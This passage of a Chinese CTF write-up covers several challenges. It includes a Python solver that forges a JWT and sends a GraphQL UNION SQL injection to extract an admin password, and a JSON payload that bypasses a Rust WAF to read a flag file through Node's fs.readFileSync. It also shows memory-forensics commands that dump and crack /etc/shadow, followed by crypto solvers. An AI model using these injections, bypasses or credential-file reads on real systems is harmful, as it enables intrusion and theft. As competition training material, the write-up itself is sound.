a = 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMjQ2ODksImlhdCI6MTY2NzEyNDM4OSwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJDSFNEemZIbHJpcTJZbmU3Ynhrc2lRIiwibmJmIjoxNjY3MTI0Mzg5LCJwYXNzd29yZCI6ImFtZXV1IiwidXNlcm5hbWUiOiJhbWV1dSJ9.nlAxl5xunioWsD7UkEY35CGu69F9JMI3B4tCTI5zG-HH5XxbgJIDjheBgYH83QOs7wuu7nRWnuzBGBvXZpoTdjXDklD8ob69-Z9h0UvYB8J9_AwySCssHOw_2d2w4B4EmhTsZ0JXv78KOgIIYKZeI4mX3RohGceGGTMLw92KW0V4IGaZulLXBl9HWw0qfnwXEOY0vNmbofCu3i_Ee1v0m6NWF2ytrLwspkJ59Xj09FXG2oEPzRC-Mx4RBgm5b2xX66RNJcwJhqiwAeRLJ3of0kr5Oo2-3VIjpNUsxgcEUUojk561CT0Lj3NO4kzfJ88gbQwnZ4f-gcg2Kg7IbVa7Tg'
token = fakePayload(a)
# data = {'query': '{ __schema{ types { name } } }'}
# data = {'query': '{ __type(name: "__EnumValue") { name fields { name type { name kind ofType { name kind } } } } }'}
# data = {'query': '{ __fields(name: "getscoreusingnamehahaha")  { name }  }'}
# data = {'query': '{ Getscorebyname(name: "admin"){ userid name score } }'}
data = {'query': '{ getscoreusingnamehahaha(name:"name\'union select password from users where name=\'admin\' and \'1=1"){ userid name score '
                  '} }'}
r = requests.post(url + 'graphql',
                  cookies={'token': token,
                           'session': 'eyJpc19sb2dpbiI6MX0.Y15HzQ.WwPKCovExkTsVcmU5hVuWIdjj4k'},
                  data=data)
print(r.text)
r = requests.get(url + 'getflag', cookies={'token': token,
                           'session': 'eyJpc19sb2dpbiI6MX0.Y15HzQ.WwPKCovExkTsVcmU5hVuWIdjj4k'})
print(r.text)

flag:

flag{9f065df3-23ae-438f-ae09-56d36a400b52}

# RustWaf

/src 得到 nodejs 源代码

const express = require('express');
const app = express();
const bodyParser = require("body-parser")
const fs = require("fs")
app.use(bodyParser.text({type: '*/*'}));
const {  execFileSync } = require('child_process');
app.post('/readfile', function (req, res) {
    let body = req.body.toString();
    console.log("bosy = "+body + ";");
    let file_to_read = "app.js";
     const file = execFileSync('/app/rust-waf', [body], {
         encoding: 'utf-8'
     }).trim();
    const file = body;
    try {
        file_to_read = JSON.parse(file)
    } catch (e){
        file_to_read = file
    }
    console.log("file_to_read = " + file_to_read + ";");
    let data = fs.readFileSync(file_to_read);
    console.log("data = " + data);
    // res.send(data.toString());
});
app.get('/', function (req, res) {
    res.send('see `/src`');
});
app.get('/src', function (req, res) {
    var data = fs.readFileSync('app.js');
    res.send(data.toString());
});
app.listen(3000, function () {
    console.log('start listening on port 3000');
});

代码比较简单,重点就是在 /readfile 目录下读取文件,而会直接从 post body 获取文件名,直接用 bp 传,测试读取 app.js 成功

Untitled

但是读取 /flag 的时候没有成功,返回了 rust 的代码。可以发现如果 payload 中包含 flag 或者 proc 就会直接返回文件内容,如果绕过了再判断 payload 如果是 json 格式,那么是否存在 key 为 protocol ,如果存在也直接返回文件内容

// use std::env;
use serde::{Deserialize, Serialize};
use serde_json::Value;
static BLACK_PROPERTY: &str = "protocol";
#[derive(Debug, Serialize, Deserialize)]
struct File{
    #[serde(default = "default_protocol")]
    pub protocol: String,
    pub href: String,
    pub origin: String,
    pub pathname: String,
    pub hostname:String
}
pub fn default_protocol() -> String {
    "http".to_string()
}
//protocol is default value, can't be customized
pub fn waf(body: &str) -> String {
    if body.to_lowercase().contains("flag") ||  body.to_lowercase().contains("proc"){
        return String::from("./main.rs");
    }
    if let Ok(json_body) = serde_json::from_str::<Value>(body) {
        if let Some(json_body_obj) = json_body.as_object() {
            if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) {
                return String::from("./main.rs");
            }
        }
        //not contains protocol,check if struct is File
        if let Ok(file) = serde_json::from_str::<File>(body) {
            return serde_json::to_string(&file).unwrap_or(String::from("./main.rs"));
        }
    } else{
        //body not json
        return String::from(body);
    }
    return String::from("./main.rs");
}
fn main() {
    // let args: Vec<String> = env::args().collect();
    println!("");
}

google 了一下,发现 corctf 的某道题和这道题类似,也是 fs.readfileSync 并绕 waf,可以直接去看源码

Untitled

如果传入的 payload 不为空并且 payload.hrefpayload.origin 均有值,就会进入 fileURLToPath(fileURLOrPath)

Untitled

payload.protocolfile:

Untitled

这里实现对 payload.pathname 的 url 解码并返回最后实现读取 payload.pathname 内容

注意这里要求 payload.hostname 为空

Untitled

但是这里用到的 payload 中存在 protocol 导致 rust 能检测到,要绕过。payload:

{"origin":"*","href":"*","pr\ud811otocol":"file:","protocol":"file:","hostname":"","pathname":"/f%6cag"}

Untitled

flag:

flag{5f53d536-83ed-41ec-ae21-939143a38066}

# Reference

http://www.bmth666.cn/bmth_blog/2022/09/27/Spring 内存马学习 /#Spring 内存马

https://www.anquanke.com/post/id/258575#h2-2

https://myzxcg.com/2021/11/Spring - 内存马实现 /

https://viblo.asia/p/corctf-2022-writeup-part-1-m68Z0Joj5kG#_c-challenge-solution-3

https://github.com/nodejs/node/blob/main/lib/fs.js#L464

https://bbs.pediy.com/thread-274102.htm

https://github.com/davedoesdev/python-jwt

https://www.secpulse.com/archives/148242.html

https://graphql.cn/learn/queries/#variables

# MISC

# strange_forensics

学习链接 1

首先,是一个 linux 取证,需要得到这个镜像的版本号

使用命令 \ 这边只用 vol3 有这个命令,如果是对于 linux 取证的话

#vol3
vol -f 1.mem banners

得到版本

Linux version 5.4.0-84-generic (buildd@lcy01-amd64-007) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #94~18.04.1-Ubuntu SMP Thu Aug 26 23:17:46 UTC 2021 (Ubuntu 5.4.0-84.94~18.04.1-generic 5.4.133)

然后我们要构建一个跟这个内核一样,记住是一模一样的内核。

# ps: 踩坑

这边就不能使用上面学习链接中的做法使用 vol3 去拉出内核,我具体原因也不知道是为什么,最后会导致本来好好的,amd64-007 变成 amd64-046

就使用字符表 + dwarf 的方式制作内核调试信息的文件

学习链接 2

安装部分就不讲解了,我们需要去安装一个 18.04 的 ubuntu,在装完之后需要 uname -a 查看一下自己内核版本能不能对上,然后需要在这个 ubuntu 上下一个 volatility2,进行 dwarf 的编译

# 1. 创建 vtypes

cd volatility/tools/linux
make

# 2. 获取符号表

一般我们可以在 /boot 目录下找到该 System.map 文件。该文件包含系统的符号信息。

这个就是我们所需要的符号表了

# 3. 制作用户配置文件

将 moudle.dwarf 以及 system.map 文件打包成一个 zip 文件

sudo zip ./volatility/plugins/overlays/linux/Ubuntu.zip ./tools/linux/module.dwarf /boot/System.map-`uname -r`

这样我们一个可以调试的内核就制作好了

# 4、开始做题

然后我们回到自己的 kali 虚拟机,使用 vol2,将 Ubuntu.zip 放到自己的 //volatility-master/volatility/plugins/linux/ 目录下

查看 info

python2 vol.py --info

第一个就是,我们选用这个作为我们的 profiles

LinuxUbuntux64

分享一个师傅的 blog,里面有几篇关于 linux 取证的分析 大佬博客

以及 linux 取证下的命令 官网

密码在 /etc/shadow 下

python2 vol.py -f 1.mem --profile=LinuxUbuntux64 linux_enumerate_files | grep 'shadow'

然后将这个文件 dump 下来

python2 vol.py -f 1.mem --profile=LinuxUbuntux64 linux_find_file -i 0xffff97ce7444b448 -O shadow

拿到了

直接 somd5 解

拿到密码

然后查看文件

恢复文件的元数据:包括 文件大小,MACtimes,权限,所有者,等等

为了获取完整的数据,命令必须以 root 权限运行

python2 vol.py -f 1.mem --profile=LinuxUbuntux64 linux_recover_filesystem -D dum 

可以在 /home/bob/Desktop 目录下找到一个 secret.zip 文件

是一个伪无密,把两个加密数据块的 0000 改成 0900 就可以爆破了

爆破密码得到第二部分 flag

_y0u_Ar3_tHe_LIn

第三部分 flag,应该是非预期,直接在 010 里面搜索,flag3,就可以得到第三部分 flag

最后得到完整的 flag

flag{890topico_y0u_Ar3_tHe_LInUx_forEnsIcS_MASTER}

从而可以引出更多的非预期

在 010 直接搜索 gdm-password,稍微翻一下,只有 110 个搜索

可以直接得到密码,gdm-password 是 root 密码

然后 binwalk -e 可以直接将 zip 分离出来,就是小心内存炸了,所以从理论上来说,这道题甚至不用配 profile。

# 总结

这题主要是考察 linux 镜像取证,主要难点就是配 linux 镜像,后面就没有什么难得了。

# CRYPTO

# fill

s[i] = (s[i-1]*m+c)%n

很容易想到 LCG(n,c 互素)

LCG 解得 m,c (后面发现 m 位数 > 20 很奇怪)

然后求得 M

S 是 M 与 f_list 的点乘

f_list 是 0,1 数组

背包求解 f_list

from functools import reduce
from gmpy2 import *
def crack_unknown_modulus(states):
    diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
    zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
    modulus = abs(reduce(gcd, zeroes))
    return crack_unknown_multiplier(states, modulus)
def crack_unknown_multiplier(states, modulus):
    multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus # 注意这里求逆元
    return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_increment(states, modulus, multiplier):
    increment = (states[1] - states[0]*multiplier) % modulus
    return modulus, multiplier, increment
state=[562734112,859151551,741682801]
print(crack_unknown_multiplier(state,991125622))
n=991125622
s=[0]*32
s[0]=state[0]
n=991125622
m=55365664
c=8712091
for i in range(1, 32):
    s[i] = (s[i-1]*m+c)%n
#print(s)
M = [19621141192340, 39617541681643, 3004946591889, 6231471734951, 3703341368174, 48859912097514, 4386411556216, 11028070476391, 18637548953150, 29985057892414, 20689980879644, 20060557946852, 46908191806199, 8849137870273, 28637782510640, 35930273563752, 20695924342882, 36660291028583, 10923264012354, 29810154308143, 4444597606142, 31802472725414, 23368528779283, 15179021971456, 34642073901253, 44824809996134, 31243873675161, 27159321498211, 2220647072602, 20255746235462, 24667528459211, 46916059974372]
for t in range(32):
    M[t] = M[t] - s[t]
pk1 = M
ct1 = 492226042629702
nbit = len(pk1)
A = Matrix(ZZ, nbit + 1, nbit + 1)
for i in range(nbit):
    A[i, i] = 1
for i in range(nbit):
    A[i, nbit] = pk1[i]
A[nbit, nbit] = -int(ct1)
res = A.LLL()
s='0b'
a=(1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0)
for i in a:
    s+=str(i)
from hashlib import *
print(sha256(str(int(s,2)).encode()).hexdigest())
#flag{8f504aee71626212f275117326722b6c0ccc94f4039ed31fbcfde08e026352c4}

# little little fermat

yafu 分解 n

得到 p,q

114514xmodp=1114514^x\quad mod\quad p=1

费马小定理

得到 x=p-1

from Crypto.Util.number import *
p = 11887853772894265642834649929578157180848240939084164222334476057487485972806971092902627112665734648016476153593841839977704512156756634066593725142934001
q = 11887853772894265642834649929578157180848240939084164222334476057487485972806971092902627112665734646483980612727952939084061619889139517526028673988305393
n = 141321067325716426375483506915224930097246865960474155069040176356860707435540270911081589751471783519639996589589495877214497196498978453005154272785048418715013714419926299248566038773669282170912502161620702945933984680880287757862837880474184004082619880793733517191297469980246315623924571332042031367393
c = 81368762831358980348757303940178994718818656679774450300533215016117959412236853310026456227434535301960147956843664862777300751319650636299943068620007067063945453310992828498083556205352025638600643137849563080996797888503027153527315524658003251767187427382796451974118362546507788854349086917112114926883
e = 65537
m=pow(c,inverse(e,(p-1)*(q-1)),n)
#print(pow(114514,p-1,p))
print(long_to_bytes(m^(p-1)**2))
#flag{I~ju5t_w@nt_30_te11_y0u_how_I_@m_f3ll1ng~}

# babyDLP

看到 p 有点眼熟

搜了一下发现春哥 CryptoCTF 原题

直接拿来用

from pwn import *
from sage.all import *
from Crypto.Util.number import *
class Gao:
    def __init__(self):
        # self.conn = process(['python3', 'another.py'])
        self.conn = remote("39.106.13.71",34092)
        self.p = 2 ** 1024 - 2 ** 234 - 2 ** 267 - 2 ** 291 - 2 ** 403 - 1
        self.s_high = 1
        self.Zp = Zmod(self.p)
    def gao_check(self):
        self.conn.sendline(b'T')
        ans = self.Zp(4).nth_root(self.s_high)
        print('Guessing: {}'.format(ans))
        self.conn.sendline(str(ans).encode())
        self.conn.recvuntil(b'integer: \n')
        a = self.conn.recvline()
        if ('Great!' in a):
            print(a)
            print(ZZ(ans).nbits())
            return True
        else:
            return False
    def gao_one(self):
        self.conn.sendline(b'T')
        ans = self.Zp(2).nth_root(self.s_high)
        self.conn.sendline(str(ans).encode())
        self.conn.recvuntil(b'integer: \n')
        a = self.conn.recvline()
        if (b'Great!' in a):
            print(a)
            print(ZZ(ans).nbits())
            return True
        else:
            a = a[9:-2]
        t, r = eval(a)
        self.s_high <<= 1
        if (t == 0):
            self.s_high |= 1
        self.t = 1 - t
        print('{:b}'.format(self.s_high))
        return False
    def gao(self):
        while (True):
            if (self.gao_one()):
                break
            if (self.t == 1):
                if (self.gao_check()):
                    break
    def gao_2(self):
        for i in range(1023):
            if (self.gao_one()):
                break
        else:
            for i in range(20):
                self.gao_check()
                self.s_high >>= 1
if __name__ == '__main__':
    g = Gao()
    g.gao_2()

img

更新于 阅读次数